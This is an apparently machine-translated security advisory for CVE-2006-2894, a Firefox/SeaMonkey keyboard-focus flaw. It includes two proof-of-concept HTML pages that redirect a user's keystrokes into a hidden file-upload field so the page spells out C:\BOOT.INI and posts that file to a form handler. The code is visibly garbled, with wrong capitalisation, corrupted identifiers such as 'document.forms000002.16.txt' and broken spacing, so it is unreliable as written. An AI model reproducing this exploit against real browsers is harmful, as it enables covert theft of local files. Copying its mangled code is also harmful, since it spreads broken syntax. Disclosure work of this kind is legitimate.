Released on: 2006-06
Updated on: 2007-10-23
Affected Systems:
Mozilla Firefox <2.0.0.8
Mozilla SeaMonkey <1.1.5
Unaffected system:
Mozilla Firefox 2.0.0.8
Mozilla SeaMonkey 1.1.5
Description:
--------------------------------------------------------------------------------
Bugtraq id: 18308
CVE (CAN) ID: CVE-2006-2894
Firefox is a popular open-source WEB browser.
Firefox has a vulnerability in processing onKeyDown/onKeyPress events. Malicious webpages may exploit this vulnerability to obtain specific files on the user's system.
Firefox does not correctly handle onKeyDown/onKeyPress events, allowing you to move the mouse focus between the two events without your knowledge. If the attacker knows the complete path name of the file and can trick the user into Typing too much content, then the mouse focus can be implicitly redirected to other protected file upload form fields, upload arbitrary files to the site selected by the attacker.
<* Source: Michal zarewski lcamtuf@echelon.pl)
Charles mculey cmcauley@imperfectnetworks.com)
Link: https://bugzilla.mozilla.org/show_bug.cgi? Format = multiple & amp; id = 370092
Http://lists.grok.org.uk/pipermail/full-disclosure/2007-February/052333.html
Http://secunia.com/advisories/20442/print/
Http://lists.grok.org.uk/pipermail/full-disclosure/2006-June/046610.html
Http://www.mozilla.org/security/announce/2007/mfsa2007-32.html
*>
Test method:
--------------------------------------------------------------------------------
Alert
The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
<HTML>
<HEAD>
<SCRIPT>
// Document. onKeyDown = doKeyPress;
// Document. onKeyUp = doKeyUp;
Var saved;
Var e;
Var mystring = "C: \ BOOT. INI ";
Var I = mystring. length-1;
Function doKeyPress (){
E = window. event;
Saved = e. keyCode;
Window. status = "e. keyCode =" + e. keyCode + "character is" +
Mystring. charCodeAt (I );
If (e. keyCode! = Mystring. charCodeAt (I ))
{
// E. keyCode = 0;
E. returnValue = false;
E. cancelBubble = true;
}
Else {
I --;
}
Document. forms [0]. fileupload. focus ();
}
Function doKeyUp (){
Document.forms000002.16.txt. value + = String. fromCharCode (saved );
Document.forms000002.16.txt. focus ();
}
Function switchtype (){
/* Var e = document. getElementById ('txt ');
Document.forms000002.16.txt. setAttribute ("type", "file ");
E. setAttribute ("value", "asfasfsd ");
*/
}
Function fux0rKeys (){
}
</SCRIPT>
</HEAD>
<BODY onload = "document.forms000002.16.txt. value = 'someext ';
Document. forms [0]. fileupload. value = 'asdfsdfadsf '; ">
<Form method = POST action = file. php>
<INPUT id = 'asdf 'name = "fileupload" defaultValue = 'asdfasdf' TYPE = FILE
OnKeyUp = "doKeyUp ();"
OnKeyPress = "doKeyPress ();">
<Input name = txt id = 'txt 'type = text value = 'asdfsdafasdf'
OnKeyDown = "document. forms [0]. fileupload. focus ();"
AsdfnKeyDown = "document.forms%0%.txt. fireEvent ('onkeypress ');"
OnClick = ""> visible
</FORM>
</BODY>
</HTML>
<HTML>
<HEAD>
<Style type = "text/css">
. First {
}
. Second {
Color: white;
Background-color: white;
Opacity: 0;
}
</Style>
<SCRIPT>
// Document. onKeyDown = doKeyPress;
// Document. onKeyUp = doKeyUp;
Var saved;
Var e;
Var mystring = "C: \ BOOT. INI ";
// Var I = mystring. length-1;
Var I = 0;
Function doKeyPress (chucky)
{
Saved = chucky. which;
// Alert ('pressed '+ String. fromCharCode (saved) +' ('+ saved + ')');
If (mystring [I]! = String. fromCharCode (saved). toUpperCase () |
I> mystring. length-1 ){
Return false;
}
I ++;
Return true;
};
Function doKeyUp (){
Document.forms000002.16.txt. value + = String. fromCharCode (saved );
Document.forms000002.16.txt. focus ();
}
</SCRIPT>
</HEAD>
<BODY>
<Form method = POST action = file. php>
<INPUT id = 'asdf 'name = "fileupload" defaultValue = 'asdfasdf' TYPE = FILE
OnKeyUp = "doKeyUp ();"
OnKeyPress = "return doKeyPress (event);">
<Input name = txt id = 'txt 'Type = text value =''
OnKeyDown = "document. forms [0]. fileupload. focus ();"
OnClick = "">
<Input type = button value = "invisible"
Onclick = "document. forms [0]. fileupload. className = 'second';">
<Input type = button value = "visible"
Onclick = "document. forms [0]. fileupload. className = 'first';">
</FORM>
</BODY>
</HTML>
Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
Mozilla
-------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:
Http://www.mozilla.org/
Related Articles]
- View More vulnerability patches